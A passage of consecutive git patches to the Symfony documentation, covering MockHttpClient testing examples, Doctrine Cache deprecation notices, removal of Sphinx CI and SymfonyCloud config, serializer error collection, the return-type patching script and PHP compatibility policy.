+use in tests that shouldn't make actual HTTP requests. Such tests can be
+useful, as they will run faster and produce consistent results, since they're
+not dependant on an external service. By not making actual HTTP requests there
+is no need to worry about the service being online or the request changing
+state, for example deleting a resource.
+
+``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
+HTTP client in this component. When you type-hint with ``HttpClientInterface``
+your code will accept the real client outside tests, while replacing it with
+``MockHttpClient`` in the test.
+
+When the ``request`` method is used on ``MockHttpClient``, it will respond with
+the supplied ``MockResponse``. There are a few ways to use it, as described
+below.
+
+HTTP Client and Responses
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The first way of using ``MockHttpClient`` is to pass a list of responses to its
 constructor. These will be yielded in order when requests are made::
@@ -1451,6 +1466,121 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 
     $mockResponse = new MockResponse($body());
 
+Testing Request Data
+~~~~~~~~~~~~~~~~~~~~
+
+The examples above describe how to return desired response. What if you wanted
+to also test the request itself? ``MockResponse`` comes with a few helper
+methods:
+
+* ``getRequestMethod()`` - returns the HTTP method
+* ``getRequestUrl()`` - returns the URL the request would be sent to
+* ``getRequestOptions()`` - returns an array containing other information about
+  the request such as headers, query parameters, body content etc.
+
+Usage example::
+
+    $mockResponse = new MockResponse('', ['http_code' => 204]);
+    $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+
+    $response = $httpClient->request('DELETE', 'api/article/1337', [
+        'headers' => [
+            'Accept: */*',
+            'Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l',
+        ],
+    ]);
+
+    // returns "DELETE"
+    $mockResponse->getRequestMethod();
+
+    // returns "https://example.com/api/article/1337"
+    $mockResponse->getRequestUrl();
+
+    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
+    $mockResponse->getRequestOptions()['headers'];
+
+Example
+~~~~~~~
+
+The following standalone example demonstrates a way to use HTTP client and
+test it in a real application::
+
+    // ExternalArticleService.php
+    use Symfony\Contracts\HttpClient\HttpClientInterface;
+
+    final class ExternalArticleService
+    {
+        private HttpClientInterface $httpClient;
+
+        public function __construct(HttpClientInterface $httpClient)
+        {
+            $this->httpClient = $httpClient;
+        }
+
+        public function createArticle(array $requestData): array
+        {
+            $requestJson = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $response = $this->httpClient->request('POST', 'api/article', [
+                'headers' => [
+                    'Content-Type: application/json',
+                    'Accept: application/json',
+                ],
+                'body' => $requestJson,
+            ]);
+
+            if (201 !== $response->getStatusCode()) {
+                throw new Exception('Response status code is different than expected.');
+            }
+
+            // ... other checks
+
+            $responseJson = $response->getContent();
+            $responseData = json_decode($responseJson, true, 512, JSON_THROW_ON_ERROR);
+
+            return $responseData;
+        }
+    }
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $requestData = ['title' => 'Testing with Symfony HTTP Client'];
+            $expectedRequestData = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $expectedResponseData = ['id' => 12345];
+            $mockResponseJson = json_encode($expectedResponseData, JSON_THROW_ON_ERROR);
+            $mockResponse = new MockResponse($mockResponseJson, [
+                'http_code' => 201,
+                'response_headers' => ['Content-Type: application/json'],
+            ]);
+
+            $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame('POST', $mockResponse->getRequestMethod());
+            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            self::assertContains(
+                'Content-Type: application/json',
+                $mockResponse->getRequestOptions()['headers']
+            );
+            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+
+            self::assertSame($responseData, $expectedResponseData);
+        }
+    }
+
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/

From 6da45485ca402738aff30eedc0d7fca7936fc1ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Sep 2021 17:49:56 +0200
Subject: [PATCH 2471/7107] Minor tweaks

---
 http_client.rst | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e42a9f89cf2..6055fa7540c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1393,7 +1393,7 @@ Testing
 This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
 use in tests that shouldn't make actual HTTP requests. Such tests can be
 useful, as they will run faster and produce consistent results, since they're
-not dependant on an external service. By not making actual HTTP requests there
+not dependent on an external service. By not making actual HTTP requests there
 is no need to worry about the service being online or the request changing
 state, for example deleting a resource.
 
@@ -1469,12 +1469,10 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 
-The examples above describe how to return desired response. What if you wanted
-to also test the request itself? ``MockResponse`` comes with a few helper
-methods:
+The ``MockResponse`` class comes with some helper methods to test the request:
 
-* ``getRequestMethod()`` - returns the HTTP method
-* ``getRequestUrl()`` - returns the URL the request would be sent to
+* ``getRequestMethod()`` - returns the HTTP method;
+* ``getRequestUrl()`` - returns the URL the request would be sent to;
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
@@ -1490,19 +1488,19 @@ Usage example::
         ],
     ]);
 
-    // returns "DELETE"
     $mockResponse->getRequestMethod();
+    // returns "DELETE"
 
-    // returns "https://example.com/api/article/1337"
     $mockResponse->getRequestUrl();
+    // returns "https://example.com/api/article/1337"
 
-    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
     $mockResponse->getRequestOptions()['headers'];
+    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
 
-Example
-~~~~~~~
+Full Example
+~~~~~~~~~~~~
 
-The following standalone example demonstrates a way to use HTTP client and
+The following standalone example demonstrates a way to use the HTTP client and
 test it in a real application::
 
     // ExternalArticleService.php

From a69f6b3c0e56d02868ff8b0cdbafafd6a43cb453 Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Tue, 8 Jun 2021 14:20:08 +0300
Subject: [PATCH 2472/7107] MicroKernelTrait::getBundlesPath

---
 configuration/multiple_kernels.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index bed2b75a60c..4bea4797349 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -91,15 +91,9 @@ files so they don't collide with the files from ``src/Kernel.php``::
     {
         use MicroKernelTrait;
 
-        public function registerBundles()
+        public function getProjectDir(): string
         {
-            // load only the bundles strictly needed for the API
-            $contents = require $this->getProjectDir().'/config/api_bundles.php';
-            foreach ($contents as $class => $envs) {
-                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
-                    yield new $class();
-                }
-            }
+            return \dirname(__DIR__);
         }
 
         public function getCacheDir(): string
@@ -131,6 +125,12 @@ files so they don't collide with the files from ``src/Kernel.php``::
             $routes->import('../config/api/{routes}/*.yaml');
             // ... load only the config routes strictly needed for the API
         }
+
+        private function getBundlesPath(): string
+        {
+            // load only the bundles strictly needed for the API
+            return $this->getProjectDir().'/config/api_bundles.php';
+        }
     }
 
 Step 3) Define the Kernel Configuration

From ee96e23f04141cf580495e1367b1328233f69698 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Sep 2021 16:19:18 +0200
Subject: [PATCH 2473/7107] Minor RST syntax issue in the name of a reference

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 0a56a81faf7..b4e351cd32a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -422,7 +422,7 @@ have a very specific workflow:
 
 #. :ref:`Make a request <testing-applications-arrange>`;
 #. :ref:`Interact with the page <testing-applications-act>` (e.g. click on a link or submit a form);
-#. :Ref:`Test the response <testing-application-assertions>`;
+#. :ref:`Test the response <testing-application-assertions>`;
 #. Rinse and repeat.
 
 .. note::

From 552d9dbe8067e8675288d0161bb902d061605c33 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Thu, 9 Sep 2021 17:57:01 +0200
Subject: [PATCH 2474/7107] Document deprecation of Doctrine Cache

---
 cache.rst                                      |  5 +++++
 components/cache.rst                           |  5 +++++
 components/cache/adapters/doctrine_adapter.rst | 10 +++++-----
 3 files changed, 15 insertions(+), 5 deletions(-)

diff --git a/cache.rst b/cache.rst
index 632f5f4905f..ccd1b6ed91f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -30,6 +30,11 @@ The following example shows a typical usage of the cache::
 Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
+.. deprecated:: 5.4
+
+    Support for Doctrine Cache was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 .. _cache-configuration-with-frameworkbundle:
 
 Configuring Cache with FrameworkBundle
diff --git a/components/cache.rst b/components/cache.rst
index 02c04a347fa..29c1f0fd42b 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -20,6 +20,11 @@ The Cache Component
     Doctrine caches. See :doc:`/components/cache/psr6_psr16_adapters` and
     :doc:`/components/cache/adapters/doctrine_adapter`.
 
+    .. deprecated:: 5.4
+
+        Support for Doctrine Cache was deprecated in Symfony 5.4
+        and it will be removed in Symfony 6.0.
+
 Installation
 ------------
 
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 78ca23ae1ea..59c89c1c135 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -7,6 +7,11 @@
 Doctrine Cache Adapter
 ======================
 
+.. deprecated:: 5.4
+
+    The ``DoctrineAdapter`` and ``DoctrineProvider`` classes were deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 This adapter wraps any class extending the `Doctrine Cache`_ abstract provider, allowing
 you to use these providers in your application as if they were Symfony Cache adapters.
 
@@ -39,9 +44,4 @@ third parameters::
     A :class:`Symfony\\Component\\Cache\\DoctrineProvider` class is also provided by the
     component to use any PSR6-compatible implementations with Doctrine-compatible classes.
 
-    .. deprecated:: 5.4
-
-        The ``DoctrineProvider`` class was deprecated in Symfony 5.4 and it will
-        be removed in Symfony 6.0.
-
 .. _`Doctrine Cache`: https://github.com/doctrine/cache

From 04a6ce7aae0a086eb1f678ff70735ac8e8519e31 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Fri, 10 Sep 2021 10:20:19 +0200
Subject: [PATCH 2475/7107] The Doctrine adapter is not a database adapter

---
 components/cache/adapters/filesystem_adapter.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 772a6d7b6a9..2a168d2522e 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -45,8 +45,7 @@ and cache root path as constructor parameters::
     choices. If throughput is paramount, the in-memory adapters
     (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
     :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`Doctrine <doctrine-adapter>` and :ref:`PDO <pdo-doctrine-adapter>`)
-    are recommended.
+    (:ref:`PDO <pdo-doctrine-adapter>`) are recommended.
 
 .. note::
 

From 6a7aed8817076da5331cfe1a8eb9bcefeb3c2005 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Sep 2021 17:29:38 +0200
Subject: [PATCH 2476/7107] Add Mercure support for Docker

---
 setup/symfony_server.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420a822ab6..aa23a26a61e 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -355,6 +355,7 @@ Kafka         9092      ``KAFKA_``
 MailCatcher   1025/1080 ``MAILER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
+Mercure       80        Always exposes ``MERCURE_PUBLIC_URL`` and ``MERCURE_URL`` (only works with the ``dunglas/mercure`` Docker image)
 ============= ========= ======================
 
 You can open web management interfaces for the services that expose them:
@@ -369,7 +370,7 @@ Or click on the links in the "Server" section of the web debug toolbar.
 .. tip::
 
     To debug and list all exported environment variables, run ``symfony
-    var:export``.
+    var:export --debug``.
 
 .. tip::
 

From 0652757b39ff3a0856b00413466e41c539c1d614 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Sep 2021 17:37:21 +0200
Subject: [PATCH 2477/7107] Remove Sphinx build and SymfonyCloud deployment

---
 .github/workflows/ci.yaml | 26 ---------------------
 .symfony.cloud.yaml       | 48 ---------------------------------------
 .symfony/routes.yaml      | 11 ---------
 .symfony/services.yaml    |  1 -
 4 files changed, 86 deletions(-)
 delete mode 100644 .symfony.cloud.yaml
 delete mode 100644 .symfony/routes.yaml
 delete mode 100644 .symfony/services.yaml

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 8af52fa5a47..6c10a4eaf9b 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -9,32 +9,6 @@ on:
             - 'github-comments'
 
 jobs:
-    sphinx-build:
-        name: Build (Sphinx)
-
-        runs-on: ubuntu-latest
-
-        container: python:3.7-alpine
-
-        steps:
-            -   name: "Checkout"
-                uses: actions/checkout@v2
-
-            -   name: "Display Python version"
-                run: python -c "import sys; print(sys.version)"
-
-            -   name: "Install Sphinx"
-                run: pip install --user sphinx
-
-            -   name: "Install dependencies"
-                run: apk add --no-cache git make
-
-            -   name: "Install custom requirements via pip"
-                run: pip install -r _build/.requirements.txt
-
-            -   name: "Build documentation"
-                run: make -C _build SPHINXOPTS="-nqW -j auto" html
-
     symfony-docs-builder-build:
         name: Build (symfony-tools/docs-builder)
 
diff --git a/.symfony.cloud.yaml b/.symfony.cloud.yaml
deleted file mode 100644
index bcb1a48bf08..00000000000
--- a/.symfony.cloud.yaml
+++ /dev/null
@@ -1,48 +0,0 @@
-# This file describes an application. You can have multiple applications
-# in the same project.
-
-# The name of this app. Must be unique within a project.
-name: symfonydocs
-
-# The toolstack used to build the application.
-type: "php:7.2"
-
-# The configuration of app when it is exposed to the web.
-web:
-    # The public directory of the app, relative to its root.
-    document_root: "/_build/output"
-    index_files:
-      - index.html
-    whitelist:
-      - \.html$
-      - \.txt$
-
-      # CSS and Javascript.
-      - \.css$
-      - \.js$
-      - \.hbs$
-
-      # image/* types.
-      - \.gif$
-      - \.png$
-      - \.ico$
-      - \.svgz?$
-
-      # fonts types.
-      - \.ttf$
-      - \.eot$
-      - \.woff$
-      - \.otf$
-
-      # robots.txt.
-      - /robots\.txt$
-
-# The size of the persistent disk of the application (in MB).
-disk: 512
-
-# The hooks that will be performed when the package is deployed.
-hooks:
-    build: |
-      cd _build
-      composer install --prefer-dist --no-progress
-      php build.php
diff --git a/.symfony/routes.yaml b/.symfony/routes.yaml
deleted file mode 100644
index caf4875f732..00000000000
--- a/.symfony/routes.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-https://{default}/:
-  cache:
-    cookies:
-      - '*'
-    default_ttl: 0
-    enabled: true
-    headers:
-      - Accept
-      - Accept-Language
-  type: upstream
-  upstream: symfonydocs:http
diff --git a/.symfony/services.yaml b/.symfony/services.yaml
deleted file mode 100644
index ec9369f2b00..00000000000
--- a/.symfony/services.yaml
+++ /dev/null
@@ -1 +0,0 @@
-# Keeping this file empty to not deploy unused services.

From 1c5b478736287cf4419ef19937a2faee2270876c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Mon, 13 Sep 2021 18:39:33 +0200
Subject: [PATCH 2478/7107] [Serializer] Document
 `DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS`

---
 components/serializer.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..07e083b4374 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1176,6 +1176,35 @@ to ``true``::
 
 .. _component-serializer-handling-circular-references:
 
+Collecting type errors while denormalizing
+------------------------------------------
+
+When denormalizing a payload to an object with type hints, if the payload
+contains a property that doesn't have the same type as the object, an exception
+is thrown.
+
+It's possible to collect all exceptions at once, and to get the object partially
+denormalized::
+
+    try {
+        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+        /** @var NotNormalizableValueException */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        };
+
+        return $this->json($violations, 400);
+    }
+
 Handling Circular References
 ----------------------------
 

From fbf0adfdb2631d66176fe2bdaae396dcc6a5d79b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 12 Sep 2021 12:44:44 +0200
Subject: [PATCH 2479/7107] Document DebugClassLoader type patch functionality

---
 setup/upgrade_major.rst | 151 +++++++++++++++++++++++++++++++++++++---
 1 file changed, 141 insertions(+), 10 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 1562be9442b..b52b0ad61de 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Major Version
 
-Upgrading a Major Version (e.g. 4.4.0 to 5.0.0)
+Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
 ===============================================
 
 Every two years, Symfony releases a new major version release (the first number
@@ -30,7 +30,7 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions,
 classes, etc) code still works, but is marked as *deprecated*, indicating that
 it will be removed/changed in the future and that you should stop using it.
 
-When the major version is released (e.g. 5.0.0), all deprecated features and
+When the major version is released (e.g. 6.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
 ``4.4.*``), you should be able to upgrade without a problem. That means that
@@ -95,6 +95,12 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
+.. caution::
+
+    You will probably see many deprecations about incompatible native
+    return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
+    for guidance in fixing these deprecations.
+
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
@@ -135,12 +141,12 @@ starting with ``symfony/`` to the new major version:
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "4.4.*",
-    +         "symfony/cache": "5.0.*",
-    -         "symfony/config": "4.4.*",
-    +         "symfony/config": "5.0.*",
-    -         "symfony/console": "4.4.*",
-    +         "symfony/console": "5.0.*",
+    -         "symfony/cache": "5.4.*",
+    +         "symfony/cache": "6.0.*",
+    -         "symfony/config": "5.4.*",
+    +         "symfony/config": "6.0.*",
+    -         "symfony/console": "5.4.*",
+    +         "symfony/console": "6.0.*",
               "...": "...",
 
               "...": "A few libraries starting with
@@ -154,7 +160,7 @@ starting with ``symfony/`` to the new major version:
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
+this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
 
 .. code-block:: diff
 
@@ -162,7 +168,7 @@ this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
           "symfony": {
               "allow-contrib": false,
     -       "require": "4.4.*"
-    +       "require": "5.0.*"
+    +       "require": "6.0.*"
           }
       }
 
@@ -186,3 +192,128 @@ Next, use Composer to download new versions of the libraries:
 In some rare situations, the next major version *may* contain backwards-compatibility
 breaks. Make sure you read the ``UPGRADE-X.0.md`` (where X is the new major version)
 included in the Symfony repository for any BC break that you need to be aware of.
+
+.. _upgrading-native-return-types:
+
+Upgrading to Symfony 6: Add Native Return Types
+-----------------------------------------------
+
+.. versionadded:: 5.4
+
+    The return-type checking and fixing features were introduced in Symfony 5.4.
+
+Symfony 6 will come with native PHP return types to (almost all) methods.
+
+In PHP, if the parent has a return type declaration, any class implementing
+or overriding the method must have the return type as well. However, you
+can add a return type before the parent adds one. This means that it is
+important to add the native PHP return types to your classes before
+upgrading to Symfony 6.0. Otherwise, you will get incompatible declaration
+errors.
+
+When debug mode is enabled (typically in the dev and test environment),
+Symfony will trigger deprecations for every incompatible method
+declarations. For instance, the ``UserInterface::getRoles()`` method will
+have an ``array`` return type in Symfony 6. In Symfony 5.4, you will get a
+deprecation notice about this and you must add the return type declaration
+to your ``getRoles()`` method.
+
+To help with this, Symfony provides a script that can add these return
+types automatically for you. Make sure you installed the ``symfony/error-handler``
+component. When installed, generate a complete class map using Composer and
+run the script to iterate over the class map and fix any incompatible
+method:
+
+.. code-block:: terminal
+
+    # Make sure "exclude-from-classmap" is not filled in your "composer.json". Then dump the autoloader:
+
+    # "-o" is important! This forces Composer to find all classes
+    $ composer dump-autoload -o
+
+    # patch all incompatible method declarations
+    $ ./vendor/bin/patch-type-declarations
+
+.. tip::
+
+    This feature is not limited to Symfony packages. It will also help you
+    add types and prepare for other dependencies in your project.
+
+The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
+env var. The value of this env var is url-encoded (e.g.
+``param1=value2&param2=value2``), the following parameters are available:
+
+``force``
+    Enables fixing return types, the value must be one of:
+
+    * ``2`` to add all possible return types (default, recommended for applications);
+    * ``1`` to add return types only to tests, final, internal or private methods;
+    * ``phpdoc`` to only add ``@return`` docblock annotations to the incompatible
+      methods, or ``#[\ReturnTypeWillChange]`` if it's triggered by the PHP engine.
+
+``php``
+    The target version of PHP - e.g. ``7.1`` doesn't generate "object"
+    types (which were introduced in 7.2). This defaults to the PHP version
+    used when running the script.
+
+``deprecations``
+    Set to ``0`` to disable deprecations. Otherwise, a deprecation notice
+    when a child class misses a return type while the parent declares an
+    ``@return`` annotation (defaults to ``1``).
+
+If there are specific files that should be ignored, you can set the
+``SYMFONY_PATCH_TYPE_EXCLUDE`` env var to a regex. This regex will be
+matched to the full path to the class and each matching path will be
+ignored (e.g. ``SYMFONY_PATCH_TYPE_EXCLUDE="/tests\/Fixtures\//"``).
+Classes in the ``vendor/`` directory are always ignored.
+
+.. tip::
+
+    The script does not care about code style. Run your code style fixer,
+    or `PHP CS Fixer`_ with the ``phpdoc_trim_consecutive_blank_line_separation``,
+    ``no_superfluous_phpdoc_tags`` and ``ordered_imports`` rules, after
+    patching the types.
+
+.. _patching-types-for-open-source-maintainers:
+
+.. sidebar:: Patching Types for Open Source Maintainers
+
+    Open source bundles and packages need to be more cautious with adding
+    return types, as adding a return type forces all users extending the
+    class to add the return type as well. The recommended approach is to
+    use a 2 step process:
+
+    1. First, create a minor release (i.e. without backwards compatibility
+       breaks) where you add types that can be safely introduced and add
+       ``@return`` PHPDoc to all other methods:
+
+       .. code-block:: terminal
+
+           # Add type declarations to all internal, final, tests and private methods.
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=1&php=7.4" ./vendor/bin/patch-type-declarations
+
+           # Add PHPDoc to the leftover public and protected methods
+           $ SYMFONY_DEPRECATIONS_HELPER="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
+
+       After running the scripts, check your classes and add more ``@return``
+       PHPDoc where they are missing. The deprecations and patch script
+       work purely based on the PHPDoc information. Users of this release
+       will get deprecation notices telling them to add the missing return
+       types from your package to their code.
+
+       If you didn't need any PHPDoc and all your method declarations are
+       already compatible with Symfony, you can safely allow ``^6.0`` for
+       the Symfony dependencies. Otherwise, you have to continue with (2).
+
+    2. Create a new major release (i.e. *with* backwards compatibility
+       breaks) where you add types to all methods:
+
+       .. code-block:: terminal
+
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=2&php=7.4" ./vendor/bin/patch-type-declarations
+
+       Now, you can safely allow ``^6.0`` for the Symfony dependencies.
+
+.. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer

From 2ea547511e18f9a2eadb8f68ea9566cbde563a99 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Tue, 14 Sep 2021 07:20:45 +0200
Subject: [PATCH 2480/7107] Corrected typo in error_pages.rst

Removed extra comma before "event" word.
---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 04a1ee4e09b..a94294573a0 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -319,7 +319,7 @@ error pages.
 .. note::
 
     If your listener calls ``setThrowable()`` on the
-    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`,
+    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.
 

From 717cc5b27ceaaa92acbffa1d63a2aff026acb889 Mon Sep 17 00:00:00 2001
From: Andrius <andrius.ulins@gmail.com>
Date: Tue, 14 Sep 2021 13:14:26 +0300
Subject: [PATCH 2481/7107] Update database.rst

Rename session index `sessions_sess_time_idx` to `sessions_sess_lifetime_idx ` since index is added to `sess_lifetime` column
---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 56cd9e27384..cacc56b18fa 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -415,7 +415,7 @@ PostgreSQL
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );
-    CREATE INDEX sessions_sess_time_idx ON sessions (sess_lifetime);
+    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
 
 Microsoft SQL Server
 ....................

From 20f057ce635f30dcd8f4d96a14e445df7da87913 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 13 Sep 2021 21:54:51 +0200
Subject: [PATCH 2482/7107] Corrected Typo

Removed extra "s" in "fails"
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 5be489b2fb2..96f3115f77e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -229,7 +229,7 @@ Making Tests Fail
 By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_
 deprecation notices will make tests fail. Alternatively, you can configure
 an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
-``max[total]=320`` for instance. It will make the tests fails only if a
+``max[total]=320`` for instance. It will make the tests fail only if a
 higher number of deprecation notices is reached (``0`` is the default
 value).
 

From 3927225f4aefafc7197e9b015b47c57f9d4c1d5e Mon Sep 17 00:00:00 2001
From: Adam Williams <lol768@users.noreply.github.com>
Date: Sun, 12 Sep 2021 23:35:17 +0100
Subject: [PATCH 2483/7107] Document PHP compatibility

---
 contributing/community/releases.rst | 16 ++++++++++++++++
 setup.rst                           |  4 ++++
 2 files changed, 20 insertions(+)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 80d5033accd..a34a9111df9 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -101,6 +101,22 @@ deprecations, you can upgrade to the new major version (e.g. 5.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
+PHP Compatibility
+-----------------
+
+The **minimum** PHP version is decided for each major Symfony version by consensus
+amongst the :doc:`core team </contributing/code/core_team>` and documented as
+part of the :ref:`technical requirements for running Symfony applications
+<symfony-tech-requirements>`.
+
+Throughout each Symfony release's support lifetime, all released versions of PHP
+including new major versions will be supported. In this way, the **maximum** supported
+version of PHP for a maintained Symfony release is the latest released
+one that is publicly available.
+
+For out-of-support releases of Symfony, the latest PHP version at time of EOL is the last
+supported PHP version. Newer versions of PHP may or may not function.
+
 Rationale
 ---------
 
diff --git a/setup.rst b/setup.rst
index 68200d31020..e4049c4a1bc 100644
--- a/setup.rst
+++ b/setup.rst
@@ -20,6 +20,10 @@ Before creating your first Symfony application you must:
 * Install PHP 7.1 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
+
+  * Note that all newer, released versions of PHP will be supported during the
+    lifetime of each Symfony release (including new major versions).
